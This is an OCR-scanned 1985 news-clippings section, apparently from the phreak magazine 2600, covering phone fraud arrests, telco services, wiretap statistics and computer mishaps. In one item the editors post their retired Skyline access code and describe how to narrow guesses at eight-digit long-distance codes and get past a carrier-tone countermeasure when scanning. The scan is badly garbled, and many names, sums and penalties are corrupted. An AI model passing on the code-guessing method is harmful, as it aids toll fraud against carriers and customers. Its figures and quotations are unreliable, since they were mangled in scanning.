All ielephone companies are entitled to use the B00 prefix on phone numbers
designated for calls paid for by the receiver

In 1981 AT&T developed a more sophisticated system so that numbers in the
second “field ™ the three after the 800 prefix—could be any three numbers and
the computer would still be able to find the right phone in the right city Lo ring.
This allows for numbers with verbal significance, like S0CAR-RENT.

The non-AT&T companies are using a less sophisticated database which
doesn’t have all of the extras of the ATET system,
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The Next Step in Custom Calling

A LTI AT TR Sl e

Most Austin (Texas) telephone users who are harassed by obscene or
threatening phone calls now have a way to trace those calls. Southwestern Bell is
offering a “customer onginated trace” service formost Austincustomers as part of
a test marketing of several advanced custom calling features. The program is called
custom calling services plus and Austin 15 the first city hooked wp to i by
Southwestern Bell, Phone customers with numbers beginming withd orB - nearly
&0 percent of all Austin customers— will have the service available, The following
servaces will be oflered:

* Cwivomer origingted call iracing. Phone users can immediately dial a code to
automatically trace harassing phone calls. Upon customer request, Southwestem
Bell will motily law enforcement authorities of the traced phone number. Bell,
however, will not divelge the sdentity of the obscene caller te the phone customer.
Each tracing of a call will cost 35,

# Selecrive call rejeeion. Calls can be rouied o a special recording to explaim
that calls will not be accepted at that time. Customers can also reject subseguent
calls from whoever called last, It is not necessary to know the numbser. The ¢ost s
25 cents o establish a “reject hist™ and 10 cents a day Tor maintaining the lis,

o Selective call forwardinmg, Incoming calls from three designated numbers can
be sent to another remote telephone aumber, The cost is 10 cents for each time
s

® Auromaric re-call, A customer can call back the Last personwho called or the
List number the customer called. The cost is 2 conts [or each use.

® Disrinerive ringirg. Calls from three designated numbers will ring with a
distinctive sound. The cost is 25 cents Tor cach use and 10 cents a day.

“There’s no need to sign up for anvthing,”™ said Bob Dunbar, Austin division
manager for Southwestern Bell. "You just pick up the phone and dial the right
code for the feature vou want 1o use. s that semple.™

Southwesiern Bell will offer the services Tor ome year i Austin wo determine af
they should be oflfered systemwide

“IF this service is made available throughout the couniry, 11 could be a magor
deterrent to obscene or threatening calls,” Dunbar said. The custom calling system
will trace ohscene calls only if they onginate from a phone in the service area, For
more information, give a call to 51 24995000,

Industrial Espionage Seminar
S Mo STV R

Hackers and phone phreaks and what they can do to vour computer and vour
business will be ane of the features of the Industnal Espionage and Counter-
mcasures seminar to be held in Flonda Apnl 25 and 26, 1985,

I'he objective of this semimar s o provide the pamicipants with factoal
information in livmans terms so that they can evaluate their company’
vilnerabilitics and begin to develop protective systems to guard their data,
proprctary information, and communications.

For more info, contact Jim Boss at IR ES00 or wite 10 Ross Engincering
Associates, Inc., 7R Hope Valley Court. Adamstown, MDD 21710,

Kenyan Pay Phones Prove Popular
I M Work Dimes

In the first phase of a project 1o provide affordable elephone service 10 the
masses of Kenyva, 3500 pay phones are being installed throughout this Texas-sieed
nation.

Judging from the long lines that form at the pay booths, talking s of it 15
very much in vogue. The scene played out on any day at the row of public phones
outside Nairobi's main post ol fice s repeated in the vanious nooksand crannies ol
this East Afrscan naton.

A caller—comns and personal directory in hand - occupies the booth, Three
people patiently wait for their turn. The conversation grows longer; so does the
line. Soon there are 6, 7, then 10 people standing in hng. all casting querulous
glances at the walkatve offender. Some Kenyans have taken 1o calling this
alfMiction "welephonis.”™

Simon Gachoka was number 8 in line recently owside the post office on the wide
thoroughlare of Kenyvatta Avenue, Peering over the heads of the |ﬂn,|z-5u1t'|:fing
others, he stared at the booth'’s occupant and then rolled his eyes in exasperabien

“What is there totalk so long about”?" he asked to no one in particular, “What s
the romance with the telephone? | came 1o make a guick call and now the whole
lunch hour is spent waiting Tor the end of a conversation that probably has no
known sigmificance.”

This Month’s Troublemakers

I'he Cirarad Rapuds Prows

A Margueite | Michigan) man who authonties say devised and wsed a schemse to
evade long-distance telephone fees has been charged with 1458 counts of wire fraud.
He made 112 calls by dialing 980, a number used by Micligan Bell employees to
Lest eguipment, and then “applving mulit-frequency tones 1o the hine 1o call
whatever telephone number he wanted,” states the indictment. By using the
three-digit number. which “was not generally known™ about by the company™s
customers, none of the calls were recorded on the billing computer.

The indictment also alleges that the man [identified 1o us as Flash Hoser, “the

untraceable phreak of the Great White North™] made 28 long-distance calls that
were fraudulently charged to Martin Manetta Corp., through the corporation’s
Wide Arca Telephone Service {WATS) line at us Orlando, Flornda acrospace
division,

The indiciment further accuses him of making eight calls that were charged 1o
individual customers of LDX Corp.. a St Louwis, Mo., company that sells long-
distance phone service.

If convicted. the offender faces a maximum penalty of 740 years imprisonment
and a 5740000 fine.

Ansicmiod Pross

Three teenagers have been charged with using home computers 1o make (ree
long-distance telephone calls estimated to be worth hundreds of thousands of
dallars or maore.

Police spokesmen said the youths, all from northwestern suburbs of Chicago,
have been charged with theft of service —a felony —regarding the long-distance
calls. They have also been charged with illegal use of a computer, called "hacking”,
a misd emeanor.

The teenagers range in age from 14 to 15, They probably will receive probation
because none has a criminal record.

The phone companies might seck restitition from the youths™ parents,
SerwwnTL

The parents of "Echo Man,” 16, “Three Rocks.™ 15, and “Uncle Sam.” 17,
probably thought they were in their rooms doing homework. Instead. the
Burlingame, Califomia teenagers were programming their Apples to scan the
Sprint telephone-service computers for valid access numbers, which they used 1o
make free calls, The hackers then posted the numbers on an electromic bulletin
hoard, so others could share in the spoils. That was their undoing, Local police,
who had been monitoring the bulletin board, rasded each of the hackers” homes
and found enough evidence to charge them with felony theft and wire fraud. But
the police chose not to prosecute if the youngsters agreed 1o pay Sprint for the calls
and write |0-page papers—on Dpewriters, no less—on the evils of computer
hacking

A Mechanical Hacker

Tiime

When Clark Dall, director of sanitation for the City of Fayetteville, N.C., came
1o work one day recently. he found an imriguing little mystery on his hands:
despite the fact that hisdepartment is locked and deserted each night, switchboard
computer records showed that more than 100 telephone calls—most within
seconds of each other— had been placed overnight from two telephone extensions,

Burglars? Electronic pranksters? Turns out it wasnt an intruder at all, but two
Coca-Cola machines trying to phone home. Hoth had been equipped with
computers to let the local distributor know when it was time for a refill. “The Coke
machines were calling the computer at the Coke company and for some reason the
computer just wouldn® answer,” smd Dill, “So the machines just kept calling and
calling and calling.”

Redemption for a Hacker
United Press Intermational

A 15-year-old boy who once broke into a banks computer has eased his
conscience by helping the police to crack a computer code that led 1o evidence
sought ina child sex abuse investigation, the authonbes say,

It 1ok just 45 minuics 1o unravel what the police had puzzled over for nearlya
month.

A police spokesman said the computerized accounts appear to be confessionals
of sorts. But he sand he did not know whether they would be uselul as evidence,

I.R.S. Computers Screw Up
Laing Iskand Mowsday

A S100-million computer svstem that was supposed 10 speed the processing of
federal income tax returns by the Internal Revenue Service has developed so many
glitches that many taxpayers expecting refunds will have 1o wait about 10 days
lomger than st year [or their checks.

I.R.S, officials said there have been numerous breakdowns of the Sperry Univac
1 100-84 computer system sinee it was installed last fall in the LR.5.% [0 regional
processing centers. “Anyvlime vou pul a new system in. there are going to be
pmhlcm:ﬂ_"m'ﬂj HEah H l,LEI"lI.."'\., directorof the LR 5. Holisville {New York ) service
center. “They are nol eatastrophic in nature. But they are irritating as hell.”

Hughes =aid, “I'm convinced we now have a solid system.” Moments later,
however, he was announging vet another computer breakdown over the center’s
public-address system. A Tew minutes ago, we lost part of the system — but not the
mainframe,”™ he sawd.

Computel Does Exist

S fopwen Nerumy

Compaatel, a new phreaker, hacker and technology oriented newsletter. has naot
folded according to John Reynolds, a Comprrel employee. Recently they have
heen receiving complaints because of not publishing alter a massive advertising
campangn. Keynolds said that the first issue will soon be avalable. He blamed a
broken printing press for the delay and a shortage of funds for the disconnecting of
their 1oll-free numbser
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At the Last Stroke...

Avscomted Pross

At precisely | am on Apnl 2nd a man’s voice was heard on Britains telephone
ialking clock for the first time.

The smooth baritone voiee of part-time actor Brian Cobby, 35 years ald,
replaced the modulated contralto of Pat Simmons, whose vobee was retired after
21 wears an precisely 10259 and 50 seconds.

Last Decernber Mr. Cobby was chosen from among 300 competitors totell the
ration the precise time every 10 seconds in a recorded telephone message that is
expected 1o receive 300 million calls this vear.

Only two other voices have been heard on the telephone elock since it was
devised in 1939, Both were women’s.

Mr. Cobby, an assistant supervisor a1 a telephone exchange in Brighton in
southern England, said it was™a preat honor 1o be Britannia s wristwatch, ™ He was
paid the equivalent of $6.000 1o record the .64 nime announcements in one
24-hour perind.

Good Apples for the Soviets

B Sew Yol Tues

The Reagan Administration appears to be prepand 1o cooperate with Soviet
efforns o put personal computers in secondary schools, according (o industry
odficials negotiating export hcenses.

“We expected it would be more dilficult, so | was guite pleasantly surprised,”
gaid Albert Eisenstadt, a vnee presdent of Apple Computer wha was
Washington to discuss computer exports with Commerce and Defense
Department officials. “They just want 1o make sure we do it fght,”

The Soviets are already producing their own “Agat™—a Soviet knockoll of an
Apple 11, but they are nat able 1o produce enough. That is why 1BM, Commodore,
sincluir Research Lad., and Apple are all competing for the Soviet market.

The Commerce Departmient has argued that it makes oo sense to bar Amencan
companies from selling computers the Russians could easily obtain in Japan and
Britain, The Defense Department, which has taken a harder line, seems
unperturbed by the thought of exporting thousands of machines, provided they
are used for education. By law the sale of “hardened * machines that are designed to
withstand banleficld conditions are barred

Hackers Go Free
e Mo Yaork Times

Four teenagers who used home computers to tap inte 2 space apency compuier
at the Marshall Space Flight Center will not be prosecuted. United States
Attermey Frank Donaldson announced.

The FBI seized the youths' computer equipment at their homes in Huntsvlle.
Alabama, last July 16 after tracing the phone calls used to enter the computer.
Unauthorized access 1o a computer 15 not permitted,

One of the vouths, Robert Grumbbes, 17 vears old, said he wished the FBIwould

return his 55,000 computer because ™1 dont see any reason for them Lo keep it.”

[Keep up the spirit. Roh.]

Robot Kills Man

T Sew Vaork Teses

Last surmmer. a Michigan man was the first worker killed by a robot in this
country, The 34 year-old victim, working with automated diecasting machinery
last July, was pinned between the back of a robot and a sieel pole, the National
Center for Disease Control reported. The worker suffered a heart attack, kpsed
into a coma and disd five days Later

There are mone than 6,200 robots inowse nationwide.

*‘Santa Fraud’

A aten] Pres

Randy Grimm didnt know it cost 55 cents every ume he called a sports trivia
game, 50 the 1-year-old diabed it 330 times last month hoping te answer the guiz
correctly and win a prire. His mother recerved her telephone bill: 18 pages long.
with more than 3190 worth of *976% calls. But Ms. Grimm doesnt want to pay, and
ncither do the parents of Josie Aaronson-Gelb and Rachel Krebs-Falk, who
repeatedly called a Santa Claus message last Decemnber, not knowing it was
costing 50 cents a shot,

Josie and Rachel. both 7. are plaintiffs of record ina 10 million lawsuit Niked in
San Francisco Superior Court against Pacific Belland the company that operates
the Santa Claus Line,

The suit accuses Bell and “Santa Frawd ™ of deceptive advertising “designed to
talsely mislead children inte believing the calls were free™ and inducing them tocall
repeatedly.

The suit, Niled on behalf of all California chikdren, asks for a refund for an
estimated 100,000 families and $10 million in punitive damages 1o set up a
children's protection fund to fight deceplive advenising.

Overseas Pirates
M) News Servalt

In the large cities in Holland last vear, you couldn't switch on the TV at times
without tuning in to a pirate station, With equipment costing as litthe as 20£, they
would break into the cable networks that service as much as 9% of Holland’s
urban areas. Some would transmit anything they could get their hands on, just for
the sport of it—while others tried to do things that were genuinely new to TV
Avrtists and performers were guick to join in, and Tora while the country enjoyed a
madcap. unpredictable after-hours TV service, There was everything [rom pop
video 1o pornography. from foreign TV shows 1o feature films, even one station
that transmitied occasional sylanic sermons,

Threats of prosecution over copyright of some of the bootleg material puta stop
1o many.of the pirates. In addition, the cable owners have now started switching
off their svstems outside regular hours, a remedy that was deemed ilkegal on a
technicality kast vear. Most of the pirates have now gone back 1o the radioand the
anarchic highlights of after-hours Dutch cable TV may never be seen again.

Real Life War Games?

Chnm

A Stanford University computer aperations specialist has filed a liwsuit 1o
block the U5, from hooking up @ compater system that would automatically
Lawench nuclear missiles in responss 1o an incoming nuclear attack.

Clifford Johnsonargues that it is unconstitlutional to give war-making power (o
the so-called lunch-on-warning computer system. He recently suffered a legal
sethack when the federal district judge declined to render a decision. The case wll
now go 1o the LS, Court of Appeals in San Francisco.

Although the U5, does not officially have the capability to deploy the launch-
on-warning system, the technology 1o do so is definitely being developed by the
Pentagon, Johnson clarms. And he says, Secretary of Defense Caspar Weinberger.
whao is the defendant in the lawsuit, has stated that the U5, has not closed the door
on the launch-on-waming option.

Mot only does Johnson fear that the launch-on-warning computer could
somehow malfunction and start a nuclear war, but he points out that the satellines
and radar that would warm the computer of an enemy missile launch could
themselves sound o false alert, one that the computer would be unable to
distinguish from the real thing.

“To hook this system up in peacetime is in essence anact of war, ™ lohnson says.
“hecause there is o definite risk of it going off accidentally,™

Silver Pages
Cerpned M Sodetrs

Southwestern Hell Media is publishing a new phone book. printed in a larger
typelace for senior citizens, It is expected 1o arrive in New Jersey in August and
will be published in |10 cities across the United States and will feature stores that
offer discounts to those age 60 and older. The directory, called the Silver Pages,
will also inclede information on agencies on aging. [ Hopefully, these directones
wonT weigh 50 pounds. ]

Other News

§anmhunee] Mewn Sousies

= A iclephone operators’ union threatened 1o picket an appearance by Joan
Riversatan AFL-CIOmeeting. The union thinks that the comed ian went & bit too
far in bad-mouthing operators ina commercial she did for MClcommunications,
which doesn use operators, The 650,000-member Communications Workers of
America also charges that Rivers reneged on her acceptance of a challenge to work
a day as an operator,

* The telephone company cannot scem to gel the lines uncrossed at Fremanthe
International, The company has six telephone lines, For the Last several weeks,
incoming callers have been culling Inlo CONVETSANIONS N Progress on onher
Fremantle lines. And when calls come it all lights lash on all the phones, soat s
just o guess which is the incoming call and which are calls in progress. Furnther. an
meoming call might connect 10 a call-in service —one with a seductively veiosd
woman. “We've just been doing major business with the Christian Broadeasung
Metwork, ™ reported Craig MacDonald, the companys marketing director. "That's
when it becomes not amusing,”

o Bell Canada said it began charging large users of LS. directory assistance o
eliminate abuse of the service by eusiomers who use free directory assistance Lo
compile customer lists for sale to US. companies. Phone lines will now have [ree
directory assistance for the first 250 reguests.

® Pacific Bell has found a way to et a single phone line carmy two voice and three
computer conversations at the same time.

® United States banks lost an estimated $70 million 10 $100 million (rom
fraudulent use of automated teller machines in 1983, wath customers forfening
millions from lost or stolen cards., the Government says. Banks suffered the bulk of
the losses.



414 Bust
M Mewn S

Six people in area code 414, Wisconsin, were arrested for
credit card fraud. The World of Cryton BBS was taken down as
a result, but was reportedly not the target of the investigation,
which is being continued by the Secret Service in several cities.
The Wizard, Phoenix, and many other phone phreaks were
among those were were implicated in the investigation.

Police Hacker Cleared

Compulorwerld

A preliminary investigation by the San Franciso Police
Commission has cleared the police department of wrongdoing
in the recent controversy over a breach in computer security,

Noevidence had been uncovered to substantiate charges that
a police licutenant used a specially designed menu to gain access
to Public Defender Jeff Brown's confidential files, which are
stored in a shared computer system in the city's Hall of Justice
building.

Although the lieutenant admitted that he was given an access
level usually granted only to system administrators to conduct
an internal police probe, he has denied allegations that he read
confidential files stored by other agencies.

As a result of the police department’s actions, a public
defender had asked a San Francisco court to dismiss murder
charges filed against one man, saying that the security breach
had violated his right to attorney-client confidence. The judge
ruled against the defenses motion.

Dial-a-Directory
L% Tilan

Soon to be published is a directory that lists more than 2,500
“informative, exciting, and entertaining recorded phone
numbers.” Called The Incredible Dial-a-Message Divectory, it
lists many of the familar and unfamihar recorded messages
around the country. * went through 2,500 phone books,” says
Mark C. Guncheon, the book'sauthor and no stranger to three
digit phone bills. The book includes such numbers as Dial-an
Avalanche 9073376742, The Sleep Line 2062582791, or Dial-a-
Romeo 2159766367

Reagan Hangs Up on Kids
Meewark Sur Ledge

The two Montgomery. N.J. teenagers who were promised a
presidential phone call as their prize for winning a national
gssay contest have been put on hold indefinitely, a White House
spokesman said. Donna Woodwell and Kate Baicker, both 13,
have been waiting four months for President Reagan’s phone
call, which they were promised as their reward for submitting
the winning essay and illustration in a contest sponsored by
Current Events magazine, Connmie Mackey, the White House's
director of student correspondence said she never was
contacted by the publishing company and doubts whether they
had arranged for the presidential call,

The editor of the publication said the kids may get a trip to
Washington, ID.C. Their winning essay and illustration was one
of more than 400 entries in the contest, which was open to
students in fourth through 12th grade. The entry, which urged
the Reagan Administration to strive {or nuclear disarmament
was written by Baiker and illustrated by Woodwell,
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MCI goes to U.K.

I Wall Streed Jaurmal

MCIT Communications Corp. said it mmaugurated long-
distance telephone service to the United Kingdom, increasing
to 18 the number of overseas locations MCI serves. The UK.
countries represent 159 of the intermational long-distance
telephone market that totals $6 billion in annual revenue, a
spokesman for the telecommunications company said. MCI
expects to reach 80¢% of the international market by the end of
this year.

Yellow Scam
e Weslhralipe SNews Trbune

Owners of small businesses in New Jersey are being targeted
by telephone solicitors who are duping them into buying
advertisements that never appear in the Yellow Pages. The
“Yellow Pages” scam is a well operated. out-of-state operation
that floods areas with invoices for Yellow Papge advertising.
Unfortunately, the advertising is not for the directory published
and distributed by New Jersey Bell. Businessmen are reportedly
getting invoices from a company that uses the “fingers do the
walking” logo instead of the pretty Bell logo according to
Monmouth County Consumer Affairs Director Sally Mollica.

“Crackers” Cracked

(hafime Todaw

Transcall America, an Atlanta based discount long-distance
telephone service, has uncovered a group of computer crackers
who ran up at least 312,000 in illegal calls in five months.
According to company officials, no one has been charged, but
the FBI is investigating the case and could bring state and
federal charges. The crackers were caught when investigators
allowed a stolen access code o be posted on a Cocoa Beach,
Florida, bulletin board, to remain valid, and to be traced. The
bogus calls were traced to several homes in Brevard County,
Florida.

Carrier Choosing Time
Assamimtod P

Bell Atlantic telephone companies in six states and the
District of Columbia will begin using ballots at the end of May
to make it simpler for customers to sign up for easy access
long-distance dialing. Equal access, as the system is called, was
agreed to as part of the AT&T breakup. It gives all long-
distance companies equal access to customers by allowing
callers to reach their long-distance company by dialing *1."
instead of a multi-digit access code. Customers of Bell Atlantic
now must place their orders through the long-distance
company instead of balloting. AT&T competitors claim
balloting gives companies a better chance to get part of the
long-distance market.

Mystery Transistor
Hiisiness Week

Enthusiastnically desenibing ongoing projects, Robert W,
Lucky. executive director of research for communications
sciences, mentioned that Bell Labs researchers were working on
a “balhstic transistor™ that switches at the incredible speed of 10
femoseconds (| quadnlhonth of a second). No sooner were the
words out then he caught himself. *1 guess | shouldnt have
mentioned that,” he said half<jokingly to two public relations
people in the back of the small conference room.



UNE

Bell Didn’t Invent Phone?

The Avsawmbed 15ess

Antonio Meucci is credited by some as the true inventor of
the telephone. Meucei, who reportedly could not afford the 310
for a temporary patent back in 1873, was honored by ltalian-
Americans in Meucei Square. The 177th anniversary of
Meucci’s birth was heralded by John LaCorte, who said "1 he'd
had the $250 (for a permanent patent) then, the world would
call it Meucei Telephone today. not Bell Telephone.™

One of six inventors racing to invent the telephone, Meucci
publicly showed sketches of his designs used in the temporary
patent in hopes of attracting investors, but to no avail,
LaCourte said. LaCourte added that Bell patented the
telephone based entirely on Meucei's electrical designs.

The only remaining tributes to Meucci are the square off
Avenue U and 86th Street in Brooklyn and the little-known
Garibaldi-Meucei Museum on Staten Island. The square,
incidentally, is across from the Bell Telephone Co. Building.

The ltalian Historical Society of America unsuccessfully
sued in 1976 to enjoin the Postal Service from issuing the Bell
commemaorative stamp on the ground that Meucci was the true
inventor of the telephone. LaCourte said he intends to keep
alive his drive to have Meucei similarly honored by a post office
commemorative stamp, and that he harbors no ill will toward
Bell, “1 can prove Meucci was the inventor—plain and simple.
Bell just became a millionaire with Meucei’s invention.™

Porno Phone Service Busted

Azl Praes

In the first federal prosecution of its kind, a 23count
indictment has been returned charging a New York corporation
{Carlin Communications Inc.} and four individuals with
running a pornographic telephone service that allegedly was
dialed by some Utah children. The official charge was interstate
transportation of obscene matter.

“Convictions in this case would challenge the phone-sex
industry, which has spread across the country during the past
two years,” U.S. Attorney Brent Ward said.

The Federal Communications Commission ruled in June of
1984 that commercial operators of “dial-a-porn” phone services
must restrict children's access by limiting hours of operation
and the method of paying for the service.

IRS Drives Telco To Drink

Pikadelpha Inguire

An enormous volume of calls from taxpayers seeking
information from the Internal Revenue Service on their late tax
refunds threatened to knock out telephone service to much of
Center City Philadelphia in April, according to Bell of
Pennsylvania officials,

To prevent the massive number of inguiries to the IRS from
overloading the 40,000 telephone access lines serving half of
Center City, Bell technicians had for 4 number of weeks been
electronically diverting millions of calls. “The traffic had been
coming inat such a rapid rate that it virtually ripped our system
apart. If we didn't [divert phone calls], it would have put the
office in real jeopardy--the ability of people to make calls or
receive them,”said James Killeen, an engineer in the company’s
electronic-switching division,

During one 15-minute period, Bell was able to count at least
6, MK calls made to two IRS numbers, But officials say the
actual volume of additional calls being made to the IRS
numbers at the same time was so heavy that it was beyond the

1985

capabilities of their computerized monitoring equipment.

The crush of telephone calls was spurred by the IRSsdelay in
processing millions of tax returns filed at the agency’s
Roosevelt Boulevard service center. As of late Apnl. an
estimated one million returns had not been opened, according
to the agency. A spokesman for the IRS said they were unaware
of the problem with telephone-call volume,

The IRS maintains 34 access lines for its toll-free tax
information number. The agency has 23 access lines for its
“Tele-tax ™ line (2155928946), which taxpayers are supposed 10
be able to call and punch in their Social Security number on the
telephone to obtain information about the status of their tax
refunds.

The majority of telephone calls were diverted by Bell witha
recording saying “all circuits are busy.” And those that got
through say they were frequently disconnected.

Occasionally. even stranger things happened on the IRS
lines. Once they succeeded in reaching either number,
taxpayers said they found themselves talking not to an IRS
computer or a telephone assister, but to other taxpayers.

Jersey Wins Wiretap Race Again
Seaark Slas-Lodger

New Jersey telephones were far more hikely to be tapped by
law enforcement authorities than those in any other state last
year, a distinction that has been noted in the last seven annual
wiretap reports issued by the Administrative Office of the U5,
Courts.

Michael Bozza, assistant director of criminal justice in the
state Attorney General’s Office, reiterated that New Jerseys
zealous use of electronic surveillance demonstrates that law
enforcement authorities are especially aggressive in mvesti-
gating organized crime.

According to the report, New Jersey authorities sought and
received court approval for 151 tapsin 1984 - anincrease of 29
over the 1983 total. The jump reverses a trend that had brough
the number of wiretaps down steadily in recent vears.

New Jersey was followed in the ranking by New York, which
used 122 wiretaps., Florida, with 58, and Pennsylvania, with 46.
No other state had more than 23 wiretaps authorized last vear.
More than 40 percent of the nation’s wiretaps were authorized
in New Jersey, New York, and Florida, the report said.

AT&T Computer Caught Stealing

Ihe Sew Yark Tunes

The BellSouth Corporation has been told by AT&T that as
many as 41 000 business customers might have been improperly
assigned to AT&T long distance service.

BellSouth has filed plans with the Department of Justice to
correct the results of an AT&T computer program that
erroneously assigned service under the equal-access program
mandated by the breakup of the Bell System,

Meanwhile, Nyvnex says that a previously reported higure ol
some 19,000 business customers in the Nynex region
improperly assigned to AT&T long distance service had grown
toabout 47,000 as a result of additional programming mistakes
reported by AT&T.

In a related development, the Bell Atlantic Corporation said
it would alter its method of allocating callers to long-distance
carriers. Beginning in September, Bell Atlantic said customers
who did not choose a long-distance carrier after having two
opportunities to do so would be assigned a carrier by Bell
Atlantic. Previously, customers who did not make a chowe
were left with AT&T.



$2 Billion Error
Associated Press

Somewhere in the federal bureaucracy, a clerk has made a $2
billion error that will take an act of Congress to correct,

When Congress was scurrying around last yvear for ways to
reduce the federal deficit, a natural target was the 3 percent
excise tax on telephone service, which was due to expire at the
end of 1985. The lawmakers voted to extend the tax through
1957, But after the law containing the telephone tax and
hundreds of other tax provisions was signed by President
Reagan, somebody noticed that 1985 had been deleted from the
list of years to which the telephone levy applies.

That oversight is being rectified in something called the
“Technical Corrections Act of 1985.” Such corrections have
become commonplace in recent years because Congress has
been changing the laws with regularity. The 1984 law that the
1985 bill is correcting was so voluminous that the staff of the
Joint Committee on Taxation took 1,257 pages to explain,

ITT Crackdown

Radio Elecirosics

AnITT Corp. task force, the FBI, and other law enforcement
agencies are engaged in a major crackdown on illegal users of
the ITT Longer Distance telephone service. That service is
provided to residential and business customers in 113 major
metropolitan areas. To place a call on the system, customers
dial a special access number, then the phone number they want
to call, and finally their authorization code, which bills the call
to the customer’s account.

In one case, an FBI investigation led to the indictment of a
former ITT employee who was charged with selling ITT?
authorization codes. The codes were sold to a New Jersey
company, which used them in a nationwide campaign to sell its
products through its large telephone sales force.

GTE Sprint Cheats Customers

Meewark Star-Lodper

GTE Sprint has been sued for allepedly overcharging its
customers millions of dollars on calls made during
Thanksgiving and Christmas,

The class action suit was filed in Superior Court by the Los
Angeles-based Center for Law in the Public Interest. A
complaint was also sent to the California Public Utilities
Commission.

The suit alleges the company charged regular daytime rates
from 8 am to 5 pm on November 22, 1984 and December 25,
[984 instead of the lower evening rates which it advertised.

The overcharges were estimated at $2 million to $4 million.

Listening In On Cellular Phones

LS4 Taday

Car-phone owners, beware. For $350, an eavesdropper can
snoop on your cellular-radio conversations. It's random and
basically anonymous, but it's snooping nonetheless. “Very
simply, as long as radio waves are being transmitted, we can
listen in on them, " said a Vienna, Virginia electronics salesman
who sells cellular-radio scanners made by Indianapolis-based
Regency Electronics,

More Phone Fraud

Toclay Maganne
Crackers in at least three major cities have been blamed fora

1985

360,000 phone bill that was sent to a Californian man whose
stolen credit card number was apparently posted on ar
underground network of computer BBS's. Officials with GTE-
Sprint Communications Corp. told the Associated Press thai
computer vandals in Atlanta, Baltimore, and New York used
the Sprint number of Robert Bocek to charge more than
250,000 minutes of calls in two months. Sprint spokesman
Mike Furtney said “an investigation is underway™ with law
enforcement officials in the three East Coast cities and at least
seven others. Bocek'’s mid-December bill ran 722 pages, listed
17.311 calls totaling 256,697 minutes, and costing $55,562.27,
not counting an $8.197 “volume discount. [ Computer vandals,
eh? What if they used a car to drive to the payphone, are they
car thieves? Arent computer vandals people who wreck
computers?]

Computers Monitor Truckers

The Wall Streed Jowrmal

Leprino Foods Company of Denver has outfitted its entire
trucking fleet with portable computers that hook up to sensors
in a truck's engine and transmission. The devices gather
detailed information about a truck's trip: what times it stopped
and started, how fast the engine ran, how fast the truck was
going throughout the trip.

The last statistic is especially potent at Leprino, which wields
both carrot and stick to encourage its drivers to stay under 60
miles an hour. A trucker gets a bonus of three cents a mile for
every trip he makes without breaking 60.

But the first time a printout shows a driver sped at 65 milesan
hour or faster, he gets an official reprimand. The second time,
he is suspended without pay for a week. The third time, he 1s
fired. Leprino has fired halfa dozen truckers for speeding since
the computers started to be installed about three years ago.

Drivers at Leprino arent enchanted with the system. “I
started driving trucks because I'm kind of an independent sort
of a guy that didn't like having the boss always looking over my
shoulder,” says E.K. Blaisdell, a former Leprino driver who
recently became a dispatcher. *“Then they managed to invent a
machine that looks over my shoulder.”

Missing Children’s Faces Displayed

Cominned Nows Servie

Pictures of missing children are being flashed on an
electronic billboard in the Times Square area of New York City
as part of a new city drive to find the youngsters. Children’s
faces and a brief description are flashed on the screen in 30-
second spots, twice an hour between 8 am and midnight. They
are followed by the phone number of the police department’s
missing persons bureau and a plea that reads: “Please Help.”

In Missouri, the nation’s third largest movie theatre chain
announced it would begin a program to help find missing
children through slide shows in theatres in 103 cities. American
Multi-Cinema will feature two children each month. Slides
bearing photos of the children and their hometowns, ages, and
dates of disappearance are to appear at least four times before
each screening.

Children’s faces are also appearing on milk containers, and
new technology is being used to project what these children will
look like in 1, 2, or 5 years. [Right now, they are only using this
with innocent missing children. Big Brother finds little brother,
easy as pie. It's quite possible that criminals’ faces will be
showing up in these places in the near future, followed by those
of suspects or malcontents. If not here, then somewhere....]
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2600 A Hacking Victim

SN Pedv BETVRE

When we received our June SBS Skyline bill, we were a bit
surprised. Over six hundred dollars of it came from calls we
never made, But what’s really interesting is the way that the
Skvline people handled it. Inearly June, we got a call telling us
that their sophisticated equipment detected hackers trying to
guess a code by scanning numerically. They said our code
would soon be discovered. so they were going to give usa new
one, with two extra digits added. They did this and that very
dav our old code was inactivated. The illegal calls had occurred
hefore that day, and we figure Skyline must have known this,
Mavbe they thought that 2600, in our corporate clumsiness,
would pay a huge bill without investigation. Many big
companies would. Gotta give them credit for trying.

When we called up about it, they didn’t want to handle it over
the phone! “Send the bill through the mail,” they said. “Mark
the calls you made and deduct the rest.” Why are phone
companies so afraid to do things over the phone?

As long as Skyline decided to give the “perpetrators” some
extra time before the investigation starts, we figure we might as
well lend a hand too, Our old code was BE0099. We loved that
code and are very upset at losing it, Our new eight digit one 15
very difficult to remember and nowhere near as fun.

And one last note about those new eight digit numbers.
Phone phreaks have afready figured out a way around them. If
vou dial the first six digits of an eight digit code, then the ten
digit phone number and hit a # key, you'll get your tone back!
That means there are only a hundred possible codes since there
are only two more digits to figure out and one of them definitely
works! If vou enter six digits that are not part of an eight digit
code. and then a ten digit phone number, vou'll get an error

message immediately or that fake carrier tone Skyhne loves to
send out, That tone, incidentally, is for vou hackers with Apples
and Commodores that scan all night long looking for the code
that will get vou through to a number that responds with a
carrier tone. In the morning, you see how many carner detects
you got and which codes got them for you. Skyline’s idea is that
if every invalid code gives a hacker a carrier tone, there is no
way for a computer to separate the good codes from the bad
ones, Come on! How about setting vour computer to dial a
non-carrier and telling it to print out only those codes that
dicint get a carrier tone? And there are probably a hundred
more ways. Big corporations can be so much fun.

New Phone System For Courthouse
“ew Hrunswick Home Mows

The Middlesex County Courthouse and Administration
Building will have a new phone system installed to increase the
security of the complex, according to Middlesex County
Prosecutor Alan J. Rockoff. [Yes, the same Alan J. Rockoff
that was convinced computer hackers were moving satellites
through the “blue heavens™]

The phone system, due by September, will be able to detect
and cut off unauthorized calls made inan emergency situation,

“Once a phone is activated it will show up on this massive
diagram that will be on a computer screen and will show where
that phone is being used in the courthouse or the administration
building,” Rockolf said.

The system would monitor which phnm‘:a were active and
would be able to cut connections in an instant. Rockoff
promised that the svstem would not be dE'\lEﬂLd totap phones.
[Of course, if his knowledge of tapping is anything like his
knowledge of satellites....]
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Phone-in Registration For College
Combnad Mrw Sourany

A §77,600 computer system that allows students to sign up
for courses and alter their schedules using touch-tone
telephones will be tested by 300 Union County College (New
Jersey) students this fall and up to 7,000 students are expected
10 be using the procedure by next spring.

“When the student dials in, each course will have a five-digit
code number.” John Farrell, the college’s dean of computer
services said. “The student will be prompted by a recorded voice
for his identification, so students will have access when theyare
admitted, a password that only he will know[!], and then he will
be led by the voice prompt through the procedure.™

The system, purchased from Information Associates of
Rochester and similar to those now being used by airlines for
flight reservations, will inform students if their chosen courses
are full and whether similar ones are available. It will also have
